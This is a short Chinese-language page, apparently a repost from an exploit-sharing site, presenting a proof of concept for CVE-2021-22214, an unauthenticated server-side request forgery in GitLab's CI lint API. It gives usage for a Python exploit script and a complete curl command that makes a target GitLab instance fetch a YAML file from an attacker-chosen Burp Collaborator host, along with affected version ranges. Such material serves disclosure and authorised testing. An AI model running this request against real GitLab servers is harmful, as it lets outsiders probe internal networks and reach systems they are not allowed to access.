CVE-2021-22214

CVE-2021-22214 的 POC：Gitlab SSRF

描述

远程 GitLab 安装中存在一个服务器端请求伪造（SSRF）漏洞，原因是内部网络的 webhook 被启用。远程未认证的攻击者可以利用一个注册受限的 GitLab 实例，使其向攻击者选择的任意域名发起 HTTP 请求。

用法

• Python 代码

  root@kitploit:~

  usage:   python3 GitLab_SSRF.py <target> <burp_collaborator_url>
  

• Curl 命令

curl -s –show-error -H 'Content-Type: application/json' https://TargetIP/api/v4/ci/lint –data '{ "include_merged_yaml": true, "content": "include:\n remote: http://Burp-Collaborator/test.yml"}' 

影响范围

• Gitlab >=10.5, <13.10.5
• Gitlab >=13.11, <13.11.5
• Gitlab >=13.12, <13.12.2

参考

• GitLab SSRF (CVE-2021-22214)
• tenable.com